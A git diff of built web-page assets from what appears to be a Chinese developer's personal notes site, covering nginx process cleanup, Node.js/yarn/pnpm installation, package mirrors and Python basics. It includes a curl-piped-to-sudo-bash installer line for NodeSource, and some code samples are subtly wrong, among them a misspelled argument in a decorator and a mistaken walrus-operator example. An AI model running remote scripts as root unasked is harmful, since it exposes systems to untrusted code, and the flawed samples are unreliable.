+www-data `),n("span",{class:"token number"},"2104361"),s(),n("span",{class:"token number"},"2104356"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"11"),s(`月21 ? 00:00:00 nginx: worker process
+www-data `),n("span",{class:"token number"},"2104362"),s(),n("span",{class:"token number"},"2104356"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"11"),s(`月21 ? 00:00:00 nginx: worker process
+root `),n("span",{class:"token number"},"3707853"),s(),n("span",{class:"token number"},"3673745"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"12"),s(":24 pts/9 00:00:00 "),n("span",{class:"token function"},"grep"),s(),n("span",{class:"token parameter variable"},"--color"),n("span",{class:"token operator"},"="),s(`auto nginx
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),U=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[n("span",{class:"token comment"},"# kill 掉查到的进程, 如:"),s(`
+`),n("span",{class:"token function"},"kill"),s(),n("span",{class:"token parameter variable"},"-9"),s(),n("span",{class:"token number"},"2104356"),s(),n("span",{class:"token number"},"2104357"),s(),n("span",{class:"token number"},"2104358"),s(),n("span",{class:"token number"},"2104359"),s(),n("span",{class:"token number"},"2104360"),s(),n("span",{class:"token number"},"2104361"),s(),n("span",{class:"token number"},"2104362"),s(`
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1);function F(C,D){const l=i("ExternalLinkIcon"),c=i("Tabs");return u(),p("div",null,[m,a(c,{id:"33",data:[{id:"Ubuntu/Debian"}],active:0},{title0:e(({value:t,isActive:o})=>[s("Ubuntu/Debian")]),tab0:e(({value:t,isActive:o})=>[b,v,g,n("blockquote",null,[n("p",null,[n("a",h,[s("Nginx: Failed to start A high performance web server and a reverse proxy server - Stack Overflow"),a(l)])]),x]),f,_,w]),_:1}),A,n("blockquote",null,[n("p",null,[n("a",y,[s("Ubuntu彻底删除nginx - 掘金 (juejin.cn)"),a(l)])]),K]),a(c,{id:"69",data:[{id:"Ubuntu/Debian"}],active:0},{title0:e(({value:t,isActive:o})=>[s("Ubuntu/Debian")]),tab0:e(({value:t,isActive:o})=>[N,E,U]),_:1})])}const T=r(d,[["render",F],["__file","Nginx.html.vue"]]);export{T as default};
diff --git a/assets/Nodejs.html-09a4fd25.js b/assets/Nodejs.html-09a4fd25.js
new file mode 100644
index 0000000000..da4c265719
--- /dev/null
+++ b/assets/Nodejs.html-09a4fd25.js
@@ -0,0 +1,31 @@
+import{_ as c}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as p,c as u,d as a,w as r,b as e,e as n,f as t}from"./app-880c6425.js";const h={},m=t(' Nodejs 安装 ',4),b=e("p",null,"Windows 下直接下载可执行文件安装即可",-1),g=e("p",null,"Ubuntu 下从 NodeSource 中安装 Node.js 和 npm",-1),v={href:"https://developer.aliyun.com/article/760687",target:"_blank",rel:"noopener noreferrer"},k={href:"https://github.com/nodesource/distributions#debinstall",target:"_blank",rel:"noopener noreferrer"},y=e("hr",null,null,-1),f=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 下载并执行 NodeSource 安装脚本"),n(`
+`),e("span",{class:"token comment"},"# 这个脚本将会添加 NodeSource 的签名 key 到你的系统,创建一个 apt 源文件,安装必备的软件包,并且刷新 apt 缓存。"),n(`
+`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://deb.nodesource.com/setup_16.x "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token parameter variable"},"-E"),n(),e("span",{class:"token function"},"bash"),n(` -
+`),e("span",{class:"token comment"},"# NodeSource 源启用成功后,安装 Node.js 和 npm:"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt-get"),n(),e("span",{class:"token function"},"install"),n(),e("span",{class:"token parameter variable"},"-y"),n(` nodejs
+
+`),e("span",{class:"token comment"},"# Using Debian, as root"),n(`
+`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://deb.nodesource.com/setup_16.x "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"bash"),n(` -
+`),e("span",{class:"token function"},"apt-get"),n(),e("span",{class:"token function"},"install"),n(),e("span",{class:"token parameter variable"},"-y"),n(` nodejs
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),_=e("ul",null,[e("li",null,[e("p",null,"想要从 npm 编译本地扩展,则需要安装开发工具:"),e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` build-essential
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"})])])])],-1),x=e("hr",null,null,-1),E=e("h3",{id:"nvm",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#nvm","aria-hidden":"true"},"#"),n(" nvm")],-1),j={href:"https://github.com/coreybutler/nvm-windows",target:"_blank",rel:"noopener noreferrer"},B={href:"https://github.com/coreybutler/nvm-windows/releases",target:"_blank",rel:"noopener noreferrer"},w=t(`请务必使用 管理员模式 启动安装程序, 否则可能导致符号链接建立出问题而且不会报错, 直到后面使用 nvm use 命令启用对应版本 node 时会报错找不到 node
安装完成后打开命令行输入 nvm version
可以看到 nvm 版本号
使用 nvm 安装下 node v16.16.0
使用 nvm list
可以看到当前在 nvm 管理下的 node 版本:
使用 node v16.16.0
按理来说此时 node -v
会显示 16.16.0
, 但是我显示 node 不可用
原因可能是因为安装 nvm 时没有用管理员模式启动安装程序导致符号链接建立上有问题? 总之使用管理员模式重新安装 nvm 解决了此问题
换源 `,15),A={href:"https://github.com/winrey/EasyConnectedInChina#npm",target:"_blank",rel:"noopener noreferrer"},N=t(` 源地址 华为源: https://repo.huaweicloud.com/repository/npm/
没有 Azure 相关服务
官方源: https://registry.npmjs.org/
淘宝源: http://registry.npmmirror.com
cnpmjs: http://r.cnpmjs.org/
临时替换 持久使用 npm config set registry http://registry.npmmirror.com
+
查看更改是否生效
npm config get registry
+
包管理工具 `,12),q={href:"https://github.com/pnpm/pnpm",target:"_blank",rel:"noopener noreferrer"},D={href:"https://pnpm.io/zh/",target:"_blank",rel:"noopener noreferrer"},S={href:"https://juejin.cn/post/7053340250210795557",target:"_blank",rel:"noopener noreferrer"},U=t('
npm, cnpm, pnpm, yarn 常用操作 ',5),C={href:"https://juejin.cn/post/7009674584211324964",target:"_blank",rel:"noopener noreferrer"},z=t(`cnpm、pnpm 用法类似npm,yarn不一样地方列出来单独说明
npm cnpm pnpm yarn Tips 全局安装 // 检查是否安装成功 npm -v npm install -g cnpm npm install -g pnpm npm install -g yarn 初始化一个项目 npm init yarn init 通过 -i 可以快速生成 package.json 默认配置 安装项目依赖 npm install [package] yarn add [package] // 简写 npm i [package] // 安装指定版本 npm i[package]@[version] npm i [package]@[tag] yarn add [package]@[version] yarn add [package]@[tag] // 全局安装依赖 npm i -g [package] yarn global add [package]
安装报错处理
删除 node_modules\` 目录然后重新安装 --no-save
: 查看 package.json
,文件内容不发生改变,在运行项目时能正常运行,当 npm i
时候,不会安装该依赖,提示安装该依赖。
--save
: 查看 package.json
会有一个 dependencies
对象,里面就是项目运行需要的依赖。 dependencies
代表项目运行所依赖的模块, 简写 -S
--save-dev
: 查看 package.json
会有一个 devDependencies
对象,里面就是项目开发时候需要的依赖。 devDependencies
代表项目开发所需要的模块, 简写 -D
;
查看当前 less 的版本号
查看依赖库最新版本及历史版本
npm view < packagename> versions --json
+
yarn ubuntu 安装 yarn `,6),W={href:"https://zhuanlan.zhihu.com/p/143982255",target:"_blank",rel:"noopener noreferrer"},Y=t(`导入软件源的 GPG key 并且添加 Yarn APT 软件源到你的系统
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
+echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
+
sudo apt update
+sudo apt install yarn
+
如果出现 timeout 就多试几次
pnpm 换源
+pnpm config set registry https://registry.npmmirror.com
+
+pnpm config get registry
+
默认源:
https://registry.npmjs.org/
+
代理 `,13),G={href:"https://pnpm.io/zh/npmrc#proxy",target:"_blank",rel:"noopener noreferrer"},I=t(`在项目根目录下创建 .npmrc
文件, 写入代理配置, 比如:
proxy = http://127.0.0.1:7890
+https-proxy = http://127.0.0.1:7890
+
然后正常装包即可
报错收集 ERROR Unable to find the global bin directory
运行完 pnpm setup 之后仍出现此报错, 在于环境变量未加载, 可运行如下命令加载 pnpm 环境变量
EBUSY EBUSY: resource busy or locked, symlink `,12),R={href:"https://stackoverflow.com/questions/55212864/error-ebusy-resource-busy-or-locked-rmdir",target:"_blank",rel:"noopener noreferrer"},T=e("hr",null,null,-1),F=t(`
`,3);function L(V,O){const s=o("ExternalLinkIcon"),d=o("Tabs");return p(),u("div",null,[m,a(d,{id:"101",data:[{id:":ative Windows"},{id:"Ubuntu"}]},{title0:r(({value:i,isActive:l})=>[n(":ative Windows")]),title1:r(({value:i,isActive:l})=>[n("Ubuntu")]),tab0:r(({value:i,isActive:l})=>[b]),tab1:r(({value:i,isActive:l})=>[g,e("blockquote",null,[e("p",null,[e("a",v,[n("如何在 Ubuntu 20.04 上安装 Node.js 和 npm-阿里云开发者社区 (aliyun.com)"),a(s)])]),e("p",null,[e("a",k,[n("nodesource/distributions: NodeSource Node.js Binary Distributions (github.com)"),a(s)])]),y]),f,_]),_:1}),x,E,e("blockquote",null,[e("p",null,[e("a",j,[n("coreybutler/nvm-windows: A node.js version management utility for Windows. Ironically written in Go. --- coreybutler/nvm-windows:Windows 的 node.js 版本管理实用程序。具有讽刺意味的是用 Go 编写的。 (github.com)"),a(s)])])]),e("p",null,[n("在 "),e("a",B,[n("coreybutler/nvm-windows: A node.js version management utility for Windows. Ironically written in Go. --- coreybutler/nvm-windows:Windows 的 node.js 版本管理实用程序。具有讽刺意味的是用 Go 编写的。 (github.com)"),a(s)]),n(" 下载可执行程序进行安装即可")]),w,e("ul",null,[e("li",null,[e("a",A,[n("winrey/EasyConnectedInChina: 汇总apt,pip,nodejs等各种工具国内镜像源和设置镜像源的方法 (github.com)"),a(s)])])]),N,e("blockquote",null,[e("p",null,[e("a",q,[n("pnpm/pnpm: Fast, disk space efficient package manager -- 快速的,节省磁盘空间的包管理工具 (github.com)"),a(s)])]),e("p",null,[e("a",D,[n("Fast, disk space efficient package manager | pnpm"),a(s)])]),e("p",null,[e("a",S,[n("都2022年了,pnpm快到碗里来! - 掘金 (juejin.cn)"),a(s)])])]),U,e("blockquote",null,[e("p",null,[e("a",C,[n("npm、yarn、cnpm、pnpm 使用操作都在这了 - 掘金 (juejin.cn)"),a(s)])])]),z,e("blockquote",null,[e("p",null,[e("a",W,[n("如何在 Ubuntu 20.04 上安装 Yarn - 知乎 (zhihu.com)"),a(s)])])]),Y,e("blockquote",null,[e("p",null,[e("a",G,[n(".npmrc | pnpm"),a(s)])])]),I,e("blockquote",null,[e("p",null,[e("a",R,[n("node.js - Error: EBUSY: resource busy or locked, rmdir - Stack Overflow"),a(s)])]),T]),F])}const J=c(h,[["render",L],["__file","Nodejs.html.vue"]]);export{J as default};
diff --git a/assets/Nodejs.html-4d0f30af.js b/assets/Nodejs.html-4d0f30af.js
new file mode 100644
index 0000000000..1c7fa13b68
--- /dev/null
+++ b/assets/Nodejs.html-4d0f30af.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-21c48473","path":"/%E5%89%8D%E7%AB%AF/Nodejs.html","title":"Nodejs","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[{"level":3,"title":"nvm","slug":"nvm","link":"#nvm","children":[]}]},{"level":2,"title":"换源","slug":"换源","link":"#换源","children":[{"level":3,"title":"源地址","slug":"源地址","link":"#源地址","children":[]},{"level":3,"title":"临时替换","slug":"临时替换","link":"#临时替换","children":[]},{"level":3,"title":"持久使用","slug":"持久使用","link":"#持久使用","children":[]}]},{"level":2,"title":"包管理工具","slug":"包管理工具","link":"#包管理工具","children":[{"level":3,"title":"npm, cnpm, pnpm, yarn 常用操作","slug":"npm-cnpm-pnpm-yarn-常用操作","link":"#npm-cnpm-pnpm-yarn-常用操作","children":[]},{"level":3,"title":"yarn","slug":"yarn","link":"#yarn","children":[]},{"level":3,"title":"pnpm","slug":"pnpm","link":"#pnpm","children":[]}]}],"git":{"createdTime":1675222387000,"updatedTime":1683442276000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":4.62,"words":1385},"filePathRelative":"前端/Nodejs.md","localizedDate":"2023年2月1日","excerpt":""}');export{e as data};
diff --git a/assets/Note-python.html-c15817bf.js b/assets/Note-python.html-c15817bf.js
new file mode 100644
index 0000000000..ad2a98e3e9
--- /dev/null
+++ b/assets/Note-python.html-c15817bf.js
@@ -0,0 +1,582 @@
+import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o as i,c,b as n,e as s,d as a,w as u,f as e}from"./app-880c6425.js";const r={},d=e(' Python随笔 前言 python 简介 创建 Python 的初衷是,通过屏蔽更多与硬件的复杂交互来简化软件开发。 缺点是 Python 对这些交互的控制力较弱。 因此,Python 可能不适合某些占用大量处理器时间的应用。 其他编程语言可以更好地控制与硬件的复杂交互。 如果使用得当,它们的性能比 Python 更好。 但它们可能更难以理解。 许多软件应用不需要通过这种程度的优化来提高性能。 什么是编译 ',9),k={href:"https://docs.microsoft.com/zh-cn/learn/modules/python-introduction/3-understand-compilation",target:"_blank",rel:"noopener noreferrer"},m=n("li",null,[s("编写完源代码后,通常会使用一个称为 "),n("em",null,"编译器"),s(" 的特殊程序。 该程序可将源代码转换为计算机 CPU 可以运行的格式。")],-1),h=e(' Python 的工作原理 当前 python 各版本的使用情况 ',5),v={href:"https://lp.jetbrains.com/python-developers-survey-2021/?_gl=1*s6u21r*_ga*NDkwNzc2NS4xNjg1NTgzNDI2*_ga_9J976DJZ68*MTY4NTY5OTA1MC4zLjAuMTY4NTY5OTA1Mi4wLjAuMA..&_ga=2.133418318.1969808276.1685699051-4907765.1685583426#PythonVersions",target:"_blank",rel:"noopener noreferrer"},b={href:"https://lp.jetbrains.com/python-developers-survey-2022/",target:"_blank",rel:"noopener noreferrer"},g=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202306051122506.png",alt:"image-20230605112255365"})],-1),y=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202306051123863.png",alt:"image-20230605112325787"})],-1),E=n("hr",null,null,-1),f=n("h2",{id:"换源操作",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#换源操作","aria-hidden":"true"},"#"),s(" 换源操作")],-1),w={href:"https://github.com/winrey/EasyConnectedInChina",target:"_blank",rel:"noopener noreferrer"},_=e(`py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple opencc
+py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - r requirements. txt
+py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - - upgrade pip
+pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - r requirements. txt
+pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - - upgrade pip
+
镜像源地址 阿里云 https://mirrors.aliyun.com/pypi/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣(douban) http://pypi.douban.com/simple/ 清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/ 中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/ 补充:将包装到指定路径:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
+
code2flow
---- 根据 python 代码生成项目结构及函数调用图 `,5),x={href:"https://github.com/scottrogowski/code2flow",target:"_blank",rel:"noopener noreferrer"},A=n("hr",null,null,-1),B=n("h3",{id:"概述-摘自项目readme",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#概述-摘自项目readme","aria-hidden":"true"},"#"),s(" 概述(摘自项目README)")],-1),q={href:"https://en.wikipedia.org/wiki/Call_graph",target:"_blank",rel:"noopener noreferrer"},D=e('The basic algorithm is simple:
Find function definitions in your project's source code. Determine where those functions are called. Connect the dots. Code2flow is useful for:
Untangling spaghetti code. Identifying orphaned functions. Getting new developers up to speed. 安装 ',6),F=n("code",null,"clone",-1),C={href:"https://github.com/scottrogowski/code2flow",target:"_blank",rel:"noopener noreferrer"},P=n("code",null,"download Zip",-1),S={href:"https://ayusummer-my.sharepoint.com/:u:/g/personal/233_ayusummer_onmicrosoft_com/EXHs_Hyw3vBNoUs_PsAzebgBfFa00F5uVD8my_3JzA7uXg?e=rApDfa",target:"_blank",rel:"noopener noreferrer"},T=n("code",null,"2021.5.22",-1),N={href:"https://graphviz.org/download/",target:"_blank",rel:"noopener noreferrer"},j={href:"https://ayusummer-my.sharepoint.com/:u:/g/personal/233_ayusummer_onmicrosoft_com/EfQ51KEi5_5DglXJeA3Ann0BVL4gOMQh06OD0r3Uyg3zLA?e=ZkaLYU",target:"_blank",rel:"noopener noreferrer"},L=n("code",null,"Windows 10 (64-bit) v-2.47.1",-1),I=e(`选择一个自己趁手的 python 环境管理工具
(这里我用的 anaconda
) 在一个 python 环境
下打开命令行(我直接用的 Pycharm 打开项目 然后选择一个 conda 环境作为项目的python解释器之后在Pycharm的终端命令行中执行的) 在项目根目录执行python setup.py install
+
成功安装后在当前 python 环境的根目录下的 Scripts
目录下可以看到一个 code2flow
文件 `,1),M=e(` 使用 不支持中文,注释也不行,因此第一步就是要给待会要作为基底生成流程图的python文件去中文注释
由于 VSCode
的查询功能有正则匹配的模式,所以想到使用 VSCode
直接去除整个文档的注释
记得备份原文档(直接使用拷贝文档就是了) (^#.*
匹配以#开头后接任意个任意字符的语句来去掉注释行)[PS : .
不会匹配 \\n
(换行)] 匹配行首注释 #.*
匹配行尾注释 将去除注释的文件和 安装过程中最后指出的 Scripts
目录下的 code2flow
文件拷贝到同一文件目录下并用已经安装好 code2flow
的 python环境
打开该文件夹并打开命令行执行
python code2flow mypythonfile.py
+
程序性能分析 执行时间 pyinstrument `,9),z={href:"https://github.com/joerick/pyinstrument",target:"_blank",rel:"noopener noreferrer"},R={href:"https://pyinstrument.readthedocs.io/en/latest/guide.html",target:"_blank",rel:"noopener noreferrer"},V=e(`pip install pyinstrument
+
用例: 单文件脚本分析并输出 html 分析页
pyinstrument -r html script.py
+
使用datetime判断 import datetime
+
+
+begin = datetime. datetime. now( )
+
+
+end = datetime. datetime. now( )
+print ( "程序执行时间:{0}" . format ( end- begin) )
+
内存占用 guppy3 安装pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple guppy3
+
使用 from guppy import hpy
+h = hpy( )
+print ( h. heap( ) )
+
使用memory_profiler查看 安装pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - U memory_profiler
+
使用import memory_profiler
+
+@memory_profiler. profile
+def 函数名( ) :
+ 你要测试内存占用的代码
+
+
+函数名( )
+
import 相关 相对导入引发的相关问题
`,17),U={href:"https://stackoverflow.com/questions/60593604/importerror-attempted-relative-import-with-no-known-parent-package",target:"_blank",rel:"noopener noreferrer"},O={href:"https://stackoverflow.com/questions/14132789/relative-imports-for-the-billionth-time/14132912#14132912",target:"_blank",rel:"noopener noreferrer"},G={href:"https://blog.csdn.net/weixin_43958105/article/details/114012590",target:"_blank",rel:"noopener noreferrer"},W={href:"https://zhuanlan.zhihu.com/p/349407590",target:"_blank",rel:"noopener noreferrer"},H=e(` ModuleNotFoundError ModuleNotFoundError: No module named '__main__.src_test1'; '__main__' is not a package
+
一般出现于运行的当前文件中通过相对引用 .xxx
引入其他模块时由于运行时当前模块名为 __main__
所以会对相对引用路径进行拼接导致引用错误
解决方法: 引用当前文件同级目录下的模块可以不用 .
拼接直接 import xxx
ImportError ImportError: attempted relative import with no known parent package
+
|--- test_main.py
+|--- src
+ |--- __init__.py
+ |--- src_test1.py
+ |--- src_test2.pys
+ |--- test_src.py
+
src_test1.py
:
from . src_test2 import Test2
+def func1 ( ) :
+ pass
+
test_src.py
:
from src_test1 import fun1
+
运行 test_src.py
会上述错误, 问题在于引入 src_test1
时, src_test1
内使用 .
拼接相对路径引用 src_test2
, 由于 .
的存在, 需要先找到父包才能继续拼接路径, 但是当前 test_src.py
被认为是根结点(没有父包), 所以会报 no know parent package
解决方案 需要注意的是: 上面的报错都是运行时报错, 在编写代码时至少 VSCode 是不会报错的, 那么个人的解决方案就是将主业务全放在工作区根目录下的一个目录下, 然后在根目录放一个 py
文件调用程序主入口来启动程序
基础杂项 函数注释 `,20),J={href:"https://www.cnblogs.com/sddai/p/14406799.html",target:"_blank",rel:"noopener noreferrer"},Z={href:"https://zhuanlan.zhihu.com/p/20927249",target:"_blank",rel:"noopener noreferrer"},Y={href:"http://www.ruanyifeng.com/blog/2011/09/restful.html",target:"_blank",rel:"noopener noreferrer"},K=e(`Rest 风格的注释:
"""
+This is a reST style.
+
+:param param1: this is a first param
+:param param2: this is a second param
+:returns: this is a description of what is returned
+:raises keyError: raises an exception
+"""
+
深浅拷贝 `,4),X={href:"https://www.runoob.com/w3cnote/python-understanding-dict-copy-shallow-or-deep.html",target:"_blank",rel:"noopener noreferrer"},Q=n("li",null,"直接赋值:其实就是对象的引用(别名)。",-1),$=n("li",null,"浅拷贝(copy):拷贝父对象,不会拷贝对象的内部的子对象。",-1),nn=n("li",null,"深拷贝(deepcopy): copy 模块的 deepcopy 方法,完全拷贝了父对象及其子对象。",-1),sn=e(` 字典浅拷贝实例 >> > a = { 1 : [ 1 , 2 , 3 ] }
+>> > b = a. copy( )
+>> > a, b
+( { 1 : [ 1 , 2 , 3 ] } , { 1 : [ 1 , 2 , 3 ] } )
+>> > a[ 1 ] . append( 4 )
+>> > a, b
+( { 1 : [ 1 , 2 , 3 , 4 ] } , { 1 : [ 1 , 2 , 3 , 4 ] } )
+
深度拷贝需要引入 copy 模块: >> > import copy
+>> > c = copy. deepcopy( a)
+>> > a, c
+( { 1 : [ 1 , 2 , 3 , 4 ] } , { 1 : [ 1 , 2 , 3 , 4 ] } )
+>> > a[ 1 ] . append( 5 )
+>> > a, c
+( { 1 : [ 1 , 2 , 3 , 4 , 5 ] } , { 1 : [ 1 , 2 , 3 , 4 ] } )
+
解析 b = a: 赋值引用,a 和 b 都指向同一个对象。
b = a.copy(): 浅拷贝, a 和 b 是一个独立的对象,但他们的子对象还是指向统一对象(是引用)。
b = copy.deepcopy(a): 深度拷贝, a 和 b 完全拷贝了父对象及其子对象,两者是完全独立的。
逻辑符号 and的优先级要大于or a and b语句的输出全看a的Boolean值,如果a为True,输出b;反之,如果a为False,输出a a or b语句的输出也全看a的Boolean值,如果a为True,输出a;反之,如果a为False,输出b 在python中not是逻辑判断词,用于布尔型True和False,notTrue为False,notFalse为True 只有0、None、空、False的布尔值为False,其余的为True。 参与数学运算时,True->1,False->0; 随手记 输出 print函数的参数end表示分隔参数(默认为回车) Python格式化输出 %s %d %f %% 百分号标记 %c 字符及其ASCII码 %s 字符串 %d 有符号整数(十进制) %u 无符号整数(十进制) %o 无符号整数(八进制) %x 无符号整数(十六进制) %X 无符号整数(十六进制大写字符) %e 浮点数字(科学计数法) %E 浮点数字(科学计数法,用E代替e) %f 浮点数字(用小数点符号) %g 浮点数字(根据值的大小采用%e或%f) %G 浮点数字(类似于%g) %p 指针(用十六进制打印值的内存地址) %n 存储输出字符的数量放进参数列表的下一个变量中 %格式化符也可用于字典,可用%(name)引用字典中的元素进行格式化输出。
+nYear = 2018
+nMonth = 9
+nDay = 12
+
+print ( '%04d-%02d-%02d' % ( nYear, nMonth, nDay) )
+>> 2018 - 09 - 12
+
+fValue = 8.123
+print ( '%06.2f' % fValue)
+>> 008.12
+
+print ( '%d' % 10 )
+>> 10
+
+print ( '%o' % 10 )
+>> 12
+
+print ( '%02x' % 10 )
+>> 0a
+
+print ( '%04X' % 10 )
+>> 000A
+
+print ( '%.2e' % 1.2888 )
+>> 1.29e+00
+
格式化操作符辅助指令 符号 作用 * 定义宽度或者小数点精度 - 用做左对齐 + 在正数前面显示加号( + ) <sp> 在正数前面显示空格 # 在八进制数前面显示零('0'),在十六进制前面显示'0x'或者'0X'(取决于 用的是'x'还是'X') 0 显示的数字前面填充‘0’而不是默认的空格 % '%%'输出一个单一的'%' (var) 映射变量(字典参数) m.n m 是显示的最小总宽度,n 是小数点后的位数(如果可用的话) random randint用于生成正数类型随机数 n = randint(20, 100) # 20<=n<=100 时间 time.localtime() 描述: Python time localtime() 函数类似gmtime(),作用是格式化时间戳为本地的时间。 如果sec参数未输入,则以当前时间为转换标准。 DST (Daylight Savings Time) flag (-1, 0 or 1) 是否是夏令时。 语法: 参数: sec -- 转换为time.struct_time类型的对象的秒数。 返回值: 运算符 海象运算符 `,35),an={href:"https://zhuanlan.zhihu.com/p/351140647",target:"_blank",rel:"noopener noreferrer"},tn=e(`Python 海象运算符 :=
是在 PEP 572 中提出,并在 Python3.8 版本并入发布。
海象运算符 :=
可用于在表达式中赋值,例如:
a = 2
+if a > 1 :
+ print ( "233" )
+
用 :=
写的话就是:
if a:= 2 > 1 :
+ print ( "233" )
+
函数 返回函数参数表及参数数目 lamda函数:定义匿名函数 相当于:
函数注释 def dog ( name: str , age: ( 1 , 99 ) , species: '狗狗的品种' ) - > tuple :
+ return ( name, age, species)
+
查看这些注释可以通过自定义函数的特殊属性__annotations__获取,结果会议字典的形式返回: def dog ( name: str = 'dobi' , age: ( 1 , 99 ) = 3 , species: '狗狗的品种' = 'Labrador' ) - > tuple :
+ return ( name, age, species)
+
*args,**kwargs `,23),en={href:"https://blog.csdn.net/qq_41877039/article/details/97623476%3E",target:"_blank",rel:"noopener noreferrer"},pn=e(` *args的用法 当传入的参数个数未知,且不需要知道参数名称时使用*args; **kwargs的用法 当传入的参数个数未知,但需要知道参数的名称时(立马想到了字典,即键值对) def func_kwargs ( farg, ** kwargs) :
+ print ( "formal arg:" , farg)
+ for key in kwargs:
+ print ( "keyword arg: %s: %s" % ( key, kwargs[ key] ) )
+func_kwargs( 1 , id = 1 , name= 'youzan' , city= 'hangzhou' , age = '20' , 四块五的妞是 = '来日方长的' )
+print ( '--------------------' )
+
+
+
+
+
+
+
+
+
+def kw_dict ( ** kwargs) :
+ return kwargs
+print ( kw_dict( a= 1 , b= 2 , c= 3 ) )
+
+
+
+
函数装饰器 `,8),on={href:"https://www.liaoxuefeng.com/wiki/1016959663602400/1017451662295584",target:"_blank",rel:"noopener noreferrer"},ln=e(`Python 一切皆对象, 函数也不例外, 可以通过将函数赋给变量, 这样通过该变量也可以调用该函数
def Func1 ( ) :
+ print ( "Hello" )
+
+f = Func1
+f( )
+
可以通过函数的 __name__
属性拿到函数名:
如果现在有个需求是在每个函数执行时都要输出日志, 那么此时可以使用 decorator(装饰器), 比如如下装饰器:
+
+def log ( func) :
+ def wrapper ( * args, ** kwargs) :
+ print ( f'call { func. __name__} ()' )
+ return func( * asrgs, ** kwargs)
+ return wrapper
+
要使用这个装饰器需要用 @ 语法将其置于被装饰函数的定义处, 如:
@log
+def func2 ( ) :
+ print ( "亻尔女子" )
+
+func2( )
+
将 @log
放在 func2
的定义处, 相当于执行了:
由于 log
是个装饰器, 返回一个函数, 所以原来的 func2
依然存在, 只是同名的 func2
变量指向了新的函数, 于是使用 func2()
将会执行新的函数, 也即 log()
中返回的 wrapper()
wrapper()
的参数为 (*args, **kwagrs)
可以接收任一参数, 在 wrapper()
中先打印了日志接着调用了原本的函数
带参数的三层装饰器 如果装饰器本身需要传入参数的话则需要再多编一层函数, 比如给 log 加上自定义文本前缀
+def log ( text) :
+ def decorator ( func) :
+ def wrapper ( * args, ** kwargs) :
+ print ( f' { text} , { func. __name__} ()' )
+ return func( * args, ** kwargs)
+ return wrapper
+ return decorator
+
用 log
装饰函数用法如下:
@log ( 'execute' )
+def func3 ( ) :
+ print ( '你好' )
+
+func3( )
+
对齐被装饰函数属性 由于函数也是对象, 有 __name__
等属性, 使用上述写法的装饰器再调用装饰完的函数的 __name__
会发现已经变成 wrapper
了
而有些依赖函数签名的代码使用这种装饰器的话就会报错, 此时需要将被装饰函数的属性也移过来, 不过倒不需要手动 wrapper.__**__ = func.__**__
, python 有个内置的 functools.wraps
可以实现此操作:
+import functools
+
+
+def log ( text) :
+ def decorator ( func) :
+ @functools. wraps ( func)
+ def wrapper ( * args, ** kwargs) :
+ print ( f' { text} , { func. __name__} ()' )
+ return func( * args, ** kwargs)
+ return wrapper
+ return decorator
+
+@log ( '执行' )
+def func4 ( ) :
+ print ( 'hello' )
+
+func4( )
+
